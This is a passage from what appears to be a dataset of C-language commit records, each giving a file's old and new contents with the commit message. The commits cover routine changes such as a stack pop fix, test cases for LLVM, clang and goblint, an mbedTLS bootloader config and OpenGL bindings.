{\"tbsp\",\"tbsp\"},\n            {\"teaspoon\",\"teaspoons\"},\n            {\"tsp\",\"tsp\"},\n            {\"tube\",\"tubes\"},\n            {\"unit\",\"units\"},\n            {0,0}\n};\n\nstatic const char * prep_data_list[] = {\n            \"chopped\",\n            \"diced\",\n            \"sliced\",\n            \"crumbled\",\n            \"crushed\",\n            \"ground\",\n            \"grated\",\n            \"mashed\",\n            \"melted\",\n            \"packed\",\n            \"pureed\",\n            \"quartered\",\n            \"thawed\",\n            \"shredded\",\n            \"sifted\",\n            \"pared\",\n            \"flaked\",\n            \"unpacked\",\n            \"unsifted\",\n            \"unthawed\",\n            \"pitted\",\n            \"peeled\",\n            \"cooked\",\n            \"hulled\",\n            \"shelled\",\n            \"raw\",\n            \"whipped\",\n            0\n};\n\nbool parseUSDAUnitAndPrep( const QString &string, QString &unit, QString &prep );\n\n#endif \/\/USDA_UNIT_DATA_H\n","subject":"Add a missing file... fix that compile error.","message":"Add a missing file... fix that compile error.\n\nsvn path=\/trunk\/extragear\/utils\/krecipes\/; revision=570474\n","lang":"C","license":"lgpl-2.1","repos":"eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes"}
{"commit":"2fd5b54b5907142e54bd88edf9d7cc7c9b1da702","old_file":"tests\/regression\/27-inv_invariants\/11-indirect-addresses.c","new_file":"tests\/regression\/27-inv_invariants\/11-indirect-addresses.c","old_contents":"","new_contents":"\/\/ modified from 27\/09\n#include <assert.h>\n\nint main() {\n  int a = 1;\n  int b = 1;\n  int *x;\n  int rnd;\n\n  if (rnd)\n    x = &a;\n  else\n    x = &b;\n\n  assert(*x == 1);\n  b = 2;\n\n  assert(a == 1);\n  if (*x > 1) { \/\/ invariant rules out x == &a\n    assert(x == &b); \/\/ TODO\n    assert(*x == 2); \/\/ TODO\n  }\n  return 0;\n}","subject":"Add TODO test where ambiguous pointer invariant could refine pointer","message":"Add TODO test where ambiguous pointer invariant could refine pointer\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a629c9dade4fae3915b632184427aec5e807bbe4","old_file":"app\/hwif.c","new_file":"app\/hwif.c","old_contents":"\/*\n * Part of Jari Komppa's zx spectrum suite\n * https:\/\/github.com\/jarikomppa\/speccy\n * released under the unlicense, see http:\/\/unlicense.org \n * (practically public domain)\n*\/\n\n\/\/ xxxsmbbb\n\/\/ where b = border color, m is mic, s is speaker\nvoid port254(const unsigned char color) __z88dk_fastcall\n{\n    color; \/\/ color is in l\n    \/\/ Direct border color setting\n    __asm\n        ld a,l\n        ld hl, #_port254tonebit\n        or a, (hl)\n        out (254),a\n    __endasm;    \n}\n\n\/\/ practically waits for retrace\nvoid do_halt()\n{\n    __asm\n        halt\n    __endasm;\n}\n","new_contents":"\/*\n * Part of Jari Komppa's zx spectrum suite\n * https:\/\/github.com\/jarikomppa\/speccy\n * released under the unlicense, see http:\/\/unlicense.org \n * (practically public domain)\n*\/\n\n\/\/ xxxsmbbb\n\/\/ where b = border color, m is mic, s is speaker\nvoid port254(const unsigned char color) __z88dk_fastcall\n{\n    color; \/\/ color is in l\n    \/\/ Direct border color setting\n    __asm\n        ld a,l\n        ld hl, #_port254tonebit\n        or a, (hl)\n        out (254),a\n    __endasm;    \n}\n\n\/\/ practically waits for retrace\nvoid do_halt()\n{\n    __asm\n        ei\n        halt\n    __endasm;\n}\n","subject":"Make sure we've enabled interrupts before calling halt..","message":"Make sure we've enabled interrupts before calling halt..\n","lang":"C","license":"unlicense","repos":"jarikomppa\/speccy,jarikomppa\/speccy,jarikomppa\/speccy"}
{"commit":"8c8d940e07c6ce48a8b342baaafb290e3f9abfac","old_file":"SGCachePromise.h","new_file":"SGCachePromise.h","old_contents":"\/\/\n\/\/  SGCachePromise.h\n\/\/  Pods\n\/\/\n\/\/  Created by James Van-As on 13\/05\/15.\n\/\/\n\/\/\n\n#import \"Promise.h\"\n#import \"MGEvents.h\"\n\ntypedef void(^SGCacheFetchCompletion)(id obj);\ntypedef void(^SGCacheFetchFail)(NSError *error, BOOL wasFatal);\ntypedef void(^SGCacheFetchOnRetry)();\n\n@interface SGCachePromise : PMKPromise\n@property (nonatomic, copy) SGCacheFetchOnRetry onRetry;\n@property (nonatomic, copy) SGCacheFetchFail onFail;\n@end\n","new_contents":"\/\/\n\/\/  SGCachePromise.h\n\/\/  Pods\n\/\/\n\/\/  Created by James Van-As on 13\/05\/15.\n\/\/\n\/\/\n\n#import <PromiseKit\/Promise.h>\n#import <MGEvents\/MGEvents.h>\n\ntypedef void(^SGCacheFetchCompletion)(id obj);\ntypedef void(^SGCacheFetchFail)(NSError *error, BOOL wasFatal);\ntypedef void(^SGCacheFetchOnRetry)();\n\n@interface SGCachePromise : PMKPromise\n@property (nonatomic, copy) SGCacheFetchOnRetry onRetry;\n@property (nonatomic, copy) SGCacheFetchFail onFail;\n@end\n","subject":"Use Framework style import statements for pod Framework compatibility","message":"Use Framework style import statements for pod Framework compatibility\n","lang":"C","license":"bsd-2-clause","repos":"seatgeek\/SGImageCache"}
{"commit":"879678338f7a4aeff364d7eb3aecfc22360c50fa","old_file":"test\/CFrontend\/2003-08-29-BitFieldStruct.c","new_file":"test\/CFrontend\/2003-08-29-BitFieldStruct.c","old_contents":"","new_contents":"typedef enum { FALSE, TRUE } flagT;\n\nstruct Word\n{\n  short bar;\n  short baz;\n  flagT final:1;\n  short quux;\n} *word_limit;\n\nvoid foo ()\n{\n  word_limit->final = (word_limit->final && word_limit->final);\n}\n","subject":"Test case distilled from sed.","message":"Test case distilled from sed.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@8224 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"e4f1a58860b19753d4c887c3e5086b6232cb49ae","old_file":"src\/net\/instaweb\/util\/public\/re2.h","new_file":"src\/net\/instaweb\/util\/public\/re2.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ Author: gagansingh@google.com (Gagan Singh)\n\n#ifndef NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n#define NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n\n#include \"net\/instaweb\/util\/public\/string_util.h\"\n\n#include \"third_party\/re2\/src\/re2\/re2.h\"\n\nusing re2::RE2;\n\n\/\/ Converts a Google StringPiece into an RE2 StringPiece.  These are of course\n\/\/ the same basic thing but are declared in distinct namespaces and as far as\n\/\/ C++ type-checking is concerned they are incompatible.\n\/\/\n\/\/ TODO(jmarantz): In the re2 code itself there are no references to\n\/\/ re2::StringPiece, always just plain StringPiece, so if we can\n\/\/ arrange to get the right definition #included we should be all set.\n\/\/ We could somehow rewrite '#include \"re2\/stringpiece.h\"' to\n\/\/ #include Chromium's stringpiece then everything would just work.\ninline re2::StringPiece StringPieceToRe2(StringPiece sp) {\n  return re2::StringPiece(sp.data(), sp.size());\n}\n\n\n#endif  \/\/ NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ Author: gagansingh@google.com (Gagan Singh)\n\n#ifndef NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n#define NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n\n\/\/ TODO(morlovich): Remove this forwarding header and change all references.\n#include \"pagespeed\/kernel\/util\/re2.h\"\n\n#endif  \/\/ NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n","subject":"Make this a proper forwarding header rather than a duplication what's under pagespeed\/util\/","message":"Make this a proper forwarding header rather than\na duplication what's under pagespeed\/util\/\n","lang":"C","license":"apache-2.0","repos":"crowell\/modpagespeed_tmp,crowell\/modpagespeed_tmp,crowell\/modpagespeed_tmp,crowell\/modpagespeed_tmp,crowell\/modpagespeed_tmp,crowell\/modpagespeed_tmp,crowell\/modpagespeed_tmp"}
{"commit":"a926488619cbe3aa5b5cf367486f6e4b08d70e98","old_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","new_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","old_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n}\n","new_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_FUNC(ring_get_gl_false)\n{\n\tRING_API_RETNUMBER(GL_FALSE);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n\tring_vm_funcregister(\"get_gl_false\",ring_get_gl_false);\n}\n","subject":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_FALSE","message":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_FALSE\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"}
{"commit":"8f1e899485677eb8accfdc999fbd1e7e12187302","old_file":"Classes\/WeakUniqueCollection.h","new_file":"Classes\/WeakUniqueCollection.h","old_contents":"\/\/\n\/\/  WeakUniqueCollection.h\n\/\/  book-shelf\n\/\/\n\/\/  Created by Artem Gladkov on 28.06.16.\n\/\/  Copyright © 2016 Sibext Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface WeakUniqueCollection<ObjectType> : NSObject\n\n@property(readonly)NSUInteger count;\n\n- (void)addObject:(ObjectType)object;\n- (void)removeObject:(ObjectType)object;\n- (void)removeAllObjects;\n\n- (ObjectType)anyObject;\n- (NSArray <ObjectType> *)allObjects;\n- (BOOL)member:(ObjectType)object;\n\n@end\n","new_contents":"\/\/\n\/\/  WeakUniqueCollection.h\n\/\/  book-shelf\n\/\/\n\/\/  Created by Artem Gladkov on 28.06.16.\n\/\/  Copyright © 2016 Sibext Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n WeakUniqueCollection keeps weak references to the objects and maintains uniqueness.\n It's public API is fully thread safe.\n \n WeakUniqueCollection is not optimized for working with large amount of objects.\n *\/\n@interface WeakUniqueCollection<ObjectType> : NSObject\n\n@property(readonly)NSUInteger count;\n\n\/**\n Adds object to the collection\n\n @param object ObjectType to be added to the collection\n *\/\n- (void)addObject:(ObjectType)object;\n\n\/**\n Removes object from the collection (if collection contains it).\n\n @param object ObjectType to be removed from the collection\n *\/\n- (void)removeObject:(ObjectType)object;\n\n\/**\n Removes all objects from the collection.\n *\/\n- (void)removeAllObjects;\n\n\/**\n Returns any object from the collection.\n\n @return ObjectType or nil (if the collection is empty).\n *\/\n- (nullable ObjectType)anyObject;\n\n\/**\n Returns array with all objects from the collection.\n\n @return NSArray with objects (cound be empty if the collection is empty).\n *\/\n- (NSArray <ObjectType> *)allObjects;\n\n\/**\n Determines if the object is already contained in the collection.\n\n @param object ObjectType to be verified\n @return YES if object is in the collection\n         NO if object is not in the collection\n *\/\n- (BOOL)member:(ObjectType)object;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add documentation for public API and nullability specification.","message":"Add documentation for public API and nullability specification.\n","lang":"C","license":"mit","repos":"sibext\/WeakUniqueCollection,sibext\/WeakUniqueCollection"}
{"commit":"db4a05949ff8e56fc4334f5b3776ee0f2aa1c8a8","old_file":"stack.c","new_file":"stack.c","old_contents":"#include \"stack.h\"\n\nstruct Stack\n{\n\tsize_t size;\n\tsize_t top;\n\tvoid** e;\n}\n\nStack* Stack_Create(size_t n)\n{\n\tStack* s = (Stack *)malloc(sizeof(Stack));\n\ts->size = n;\n\ts->top = 0;\n\ts->e = (void**)malloc(sizeof(void*) * (n + 1));\n\treturn s;\n}\n\nint Stack_Empty(Stack* s)\n{\n\tif (s->top == 0)\n\t{\n\t\treturn 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nvoid Stack_Push(Stack* s, void* e)\n{\n\tif (s == NULL) return;\n\tif (s->top == s->size) return;\n\ts->top = s->top + 1;\n\ts->e[s->top] = e;\n}\n\nvoid* Stack_Pop(Stack* s)\n{\n\tif (Stack_Empty(s)) return;\n\ts->top = s->top - 1;\n\treturn s->e[s->top];\n}\n\nvoid Stack_Destroy(Stack* s)\n{\n\tif (s == NULL) return;\n\tfree(s->e);\n\tfree(s);\n}","new_contents":"#include \"stack.h\"\n\nstruct Stack\n{\n\tsize_t size;\n\tsize_t top;\n\tvoid** e;\n}\n\nStack* Stack_Create(size_t n)\n{\n\tStack* s = (Stack *)malloc(sizeof(Stack));\n\ts->size = n;\n\ts->top = 0;\n\ts->e = (void**)malloc(sizeof(void*) * (n + 1));\n\treturn s;\n}\n\nint Stack_Empty(Stack* s)\n{\n\tif (s->top == 0)\n\t{\n\t\treturn 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nvoid Stack_Push(Stack* s, void* e)\n{\n\tif (s == NULL) return;\n\tif (s->top == s->size) return;\n\ts->top = s->top + 1;\n\ts->e[s->top] = e;\n}\n\nvoid* Stack_Pop(Stack* s)\n{\n\tif (Stack_Empty(s)) return;\n\ts->top = s->top - 1;\n\treturn s->e[s->top+1];\n}\n\nvoid Stack_Destroy(Stack* s)\n{\n\tif (s == NULL) return;\n\tfree(s->e);\n\tfree(s);\n}","subject":"Fix incorrect return in pop operation","message":"Fix incorrect return in pop operation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"0031954ff9ac9a1c6f080ceb3f9fcec3d3c9a0fd","old_file":"ParticleSwarmOptimization\/CppUtils\/CppUtils.h","new_file":"ParticleSwarmOptimization\/CppUtils\/CppUtils.h","old_contents":"\/\/ CppUtils.h\n\n#pragma once\n\n#include <algorithm>\n#include <functional>\n#include <vector>\n#include <random>\n\nusing namespace System;\n\nnamespace CppUtils {\n\n\tpublic ref class Random\n\t{\n    public:\n        double Random::random_double()\n        {\n            return Random::random_in_range(0.0, 1.0);\n        }\n\n        double Random::random_in_range(double min, double max)\n        {\n            std::uniform_real_distribution<float> distribution(min, max);\n            std::random_device rd;\n            std::default_random_engine e(rd());\n\n            return distribution(e);\n        }\n\n        std::vector<double> Random::random_vector(double len, double min, double max)\n        {\n            auto result = std::vector<double>();\n\n            std::uniform_real_distribution<float> distribution(min, max);\n            std::mt19937 engine;\n            auto generator = bind(distribution, engine);\n            generate(result.begin(), result.end(), generator);\n\n            return result;\n        }\n\t};\n}\n","new_contents":"\/\/ CppUtils.h\n\n#pragma once\n\n#ifdef DEBUG\n#define SEED(x) 100\n#else\n#define SEED(x) x\n#endif\n\n#include <algorithm>\n#include <functional>\n#include <vector>\n#include <random>\n\nusing namespace System;\n\nnamespace CppUtils {\n\n\tpublic ref class Random\n\t{\n    public:\n        double Random::random_double()\n        {\n            return Random::random_in_range(0.0, 1.0);\n        }\n\n        double Random::random_in_range(double min, double max)\n        {\n            std::uniform_real_distribution<float> distribution(min, max);\n            std::random_device rd;\n            std::default_random_engine e(SEED(rd()));\n\n            return distribution(e);\n        }\n\n        std::vector<double> Random::random_vector(double len, double min, double max)\n        {\n            auto result = std::vector<double>();\n\n            std::uniform_real_distribution<float> distribution(min, max);\n            std::random_device rd;\n            std::default_random_engine engine(SEED(rd()));\n            auto generator = bind(distribution, engine);\n            std::generate(result.begin(), result.end(), generator);\n\n            return result;\n        }\n\t};\n}\n","subject":"Debug macro for seeding random generator.","message":"Debug macro for seeding random generator.\n","lang":"C","license":"mit","repos":"trojkac\/effective_pso,trojkac\/effective_pso"}
{"commit":"d480f70369ecb66d318357fb5dca71708bb1b91e","old_file":"test\/Preprocessor\/headermap-rel2.c","new_file":"test\/Preprocessor\/headermap-rel2.c","old_contents":"\/\/ This uses a headermap with this entry:\n\/\/   someheader.h -> Product\/someheader.h\n\n\/\/ RUN: %clang_cc1 -fsyntax-only %s -iquote %S\/Inputs\/headermap-rel2\/project-headers.hmap -isysroot %S\/Inputs\/headermap-rel2\/system -I %S\/Inputs\/headermap-rel2 -H 2> %t.out\n\/\/ RUN: FileCheck %s -input-file %t.out\n\n\/\/ CHECK: Product\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\n#include \"someheader.h\"\n#include <someheader.h>\n#include <someheader.h>\n","new_contents":"\/\/ This uses a headermap with this entry:\n\/\/   someheader.h -> Product\/someheader.h\n\n\/\/ RUN: %clang_cc1 -v -fsyntax-only %s -iquote %S\/Inputs\/headermap-rel2\/project-headers.hmap -isysroot %S\/Inputs\/headermap-rel2\/system -I %S\/Inputs\/headermap-rel2 -H\n\/\/ RUN: %clang_cc1 -fsyntax-only %s -iquote %S\/Inputs\/headermap-rel2\/project-headers.hmap -isysroot %S\/Inputs\/headermap-rel2\/system -I %S\/Inputs\/headermap-rel2 -H 2> %t.out\n\/\/ RUN: FileCheck %s -input-file %t.out\n\n\/\/ CHECK: Product\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\n#include \"someheader.h\"\n#include <someheader.h>\n#include <someheader.h>\n","subject":"Add a RUN line to get a hint on why the test is failing at the buildbots.","message":"[test] Add a RUN line to get a hint on why the test is failing at the buildbots.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@205072 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"6dec686bbe20f6c89b067d27f75eba3ac4cc3727","old_file":"pose\/src\/pose_estimator_demo.c","new_file":"pose\/src\/pose_estimator_demo.c","old_contents":"#include \"estimator.h\"\n#include <stdio.h>\n\nint main(int argc, char** argv) {\n    void* estimator = create_estimator(argv[1]);\n    candidates_t* candidates = estimate(estimator, argv[2]);\n\n    for(unsigned int i = 0; i < candidates->candidates[0]->size; i++) {\n        printf(\"x: %4lu  y: %4lu  confidence: %.4f \\n\",\n                candidates->candidates[0]->parts[i]->x,\n                candidates->candidates[0]->parts[i]->y,\n                candidates->candidates[0]->confidence[i]);\n    }\n    printf(\"\\n\");\n\n    destroy_estimator(estimator);\n    free_candidates(candidates);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"estimator.h\"\n\n\nint main(int argc, char** argv) {\n    \/\/test();\n\n    if(argc < 3) {\n        printf(\"Usage: PartsBasedDetector1 model_file image_file\\n\");\n        exit(0);\n    }\n\n    void* estimator = create_estimator(argv[1]);\n    candidates_t* candidates = estimate(estimator, argv[2]);\n    print_candidate(candidates->candidates[0]);\n\n    destroy_estimator(estimator);\n    free_candidates(candidates);\n}\n","subject":"Delete printing, show usage if arguments are not enough","message":"Delete printing, show usage if arguments are not enough\n","lang":"C","license":"mit","repos":"IshitaTakeshi\/VirtualFitting,IshitaTakeshi\/VirtualFitting"}
{"commit":"42c64152f63753877008fe6b9c432794c7fce1e3","old_file":"libpthread\/nptl\/sysdeps\/sh\/pthread_spin_lock.c","new_file":"libpthread\/nptl\/sysdeps\/sh\/pthread_spin_lock.c","old_contents":"\/* Copyright (C) 2003 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#include \"pthreadP.h\"\n\nint\npthread_spin_lock (lock)\n     pthread_spinlock_t *lock;\n{\n  unsigned int val;\n\n  do\n    __asm__ volatile (\"tas.b @%1; movt %0\"\n\t\t  : \"=&r\" (val)\n\t\t  : \"r\" (lock)\n\t\t  : \"memory\");\n  while (val == 0);\n\n  return 0;\n}\n","new_contents":"\/* Copyright (C) 2003 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#include \"pthreadP.h\"\n\nint\npthread_spin_lock (pthread_spinlock_t *lock)\n{\n  unsigned int val;\n\n  do\n    __asm__ volatile (\"tas.b @%1; movt %0\"\n\t\t  : \"=&r\" (val)\n\t\t  : \"r\" (lock)\n\t\t  : \"memory\");\n  while (val == 0);\n\n  return 0;\n}\n","subject":"Remove compiler warning due to old-style function definition","message":"nptl: Remove compiler warning due to old-style function definition\n\nSigned-off-by: Carmelo Amoroso <532378793705a04edd56deb76ad8c0442834d55d@st.com>\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"0d16482be8d92f611a2cac5aa259f68398f9573f","old_file":"boot\/zephyr\/include\/config-kw.h","new_file":"boot\/zephyr\/include\/config-kw.h","old_contents":"","new_contents":"\/*\n *  Minimal configuration for using TLS in the bootloader\n *\n *  Copyright (C) 2006-2015, ARM Limited, All Rights Reserved\n *  Copyright (C) 2016, Linaro Ltd\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n\/*\n * Minimal configuration for using TLS in the bootloader\n *\n * - RSA or ECDSA signature verification\n *\/\n\n#ifndef MCUBOOT_MBEDTLS_CONFIG_KW\n#define MCUBOOT_MBEDTLS_CONFIG_KW\n\n#ifdef CONFIG_MCUBOOT_SERIAL\n\/* Mcuboot uses mbedts-base64 for serial protocol encoding. *\/\n#define MBEDTLS_BASE64_C\n#endif\n\n\/* System support *\/\n#define MBEDTLS_PLATFORM_C\n#define MBEDTLS_PLATFORM_MEMORY\n#define MBEDTLS_MEMORY_BUFFER_ALLOC_C\n#define MBEDTLS_PLATFORM_NO_STD_FUNCTIONS\n#define MBEDTLS_PLATFORM_EXIT_ALT\n#define MBEDTLS_NO_PLATFORM_ENTROPY\n#define MBEDTLS_NO_DEFAULT_ENTROPY_SOURCES\n#define MBEDTLS_PLATFORM_PRINTF_ALT\n\n#if !defined(CONFIG_ARM)\n#define MBEDTLS_HAVE_ASM\n#endif\n\n#define MBEDTLS_SHA256_C\n#define MBEDTLS_AES_C\n#define MBEDTLS_CIPHER_C\n#define MBEDTLS_NIST_KW_C\n\n#include \"mbedtls\/check_config.h\"\n\n#endif \/* MCUBOOT_MBEDTLS_CONFIG_KW *\/\n","subject":"Add mbedtls config with nist_kw enabled","message":"Add mbedtls config with nist_kw enabled\n\nThis adds a mbedtls config that will enable the simulator to run tests\nfor the kw based encrypted images.\n\nSigned-off-by: Fabio Utzig <66676b1ceaf93296e098708c09494361103aa635@apache.org>\n","lang":"C","license":"apache-2.0","repos":"utzig\/mcuboot,runtimeco\/mcuboot,ATmobica\/mcuboot,utzig\/mcuboot,runtimeco\/mcuboot,ATmobica\/mcuboot,tamban01\/mcuboot,tamban01\/mcuboot,runtimeco\/mcuboot,utzig\/mcuboot,ATmobica\/mcuboot,ATmobica\/mcuboot,ATmobica\/mcuboot,tamban01\/mcuboot,tamban01\/mcuboot,utzig\/mcuboot,runtimeco\/mcuboot,utzig\/mcuboot,tamban01\/mcuboot,runtimeco\/mcuboot"}
{"commit":"103296e919020e156925eb6d57d1da7aad0551bf","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT 11122\n#define LISTEN_BACKLOG 40\n\n#define MAX_MESSAGE_SIZE 128\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS 100\n\n#endif\n","new_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT 11122\n#define LISTEN_BACKLOG 40\n\n#define MAX_MESSAGE_SIZE 250\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS 100\n\n#endif\n","subject":"Increase the size of the read buffer fpo testing.","message":"Increase the size of the read buffer fpo testing.\n","lang":"C","license":"mit","repos":"mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet"}
{"commit":"b1ddc60b6ead5220a101b1dd37479a8a990cc5ac","old_file":"Include\/atlstd.h","new_file":"Include\/atlstd.h","old_contents":"\/*\n * atlstd.h\n *\n * Created: 3\/31\/2017 12:29:59 AM\n *  Author: Vadim Zabavnov\n *\/ \n\n#ifndef ATLSTD_H_\n#define ATLSTD_H_\n\n#include <atlport.h>\n\nnamespace atl {\nnamespace std {\n\nusing namespace atl;\n\n\/\/ standard ports\n\n#ifdef PORTA\nconst Port PortA = Port(_SFR_IO_ADDR(PORTA), _SFR_IO_ADDR(DDRA), _SFR_IO_ADDR(PINA));\n#endif\n\n#ifdef PORTB\nconst Port PortB = Port(_SFR_IO_ADDR(PORTB), _SFR_IO_ADDR(DDRB), _SFR_IO_ADDR(PINB));\n#endif\n\n#ifdef PORTC\nconst Port PortC = Port(_SFR_IO_ADDR(PORTC), _SFR_IO_ADDR(DDRC), _SFR_IO_ADDR(PINC));\n#endif\n\n#ifdef PORTD\nconst Port PortD = Port(_SFR_IO_ADDR(PORTD), _SFR_IO_ADDR(DDRD), _SFR_IO_ADDR(PIND));\n#endif\n\n}\n}\n\n#endif \/* ATLSTD_H_ *\/","new_contents":"\/*\n * atlstd.h\n *\n * Created: 3\/31\/2017 12:29:59 AM\n *  Author: Vadim 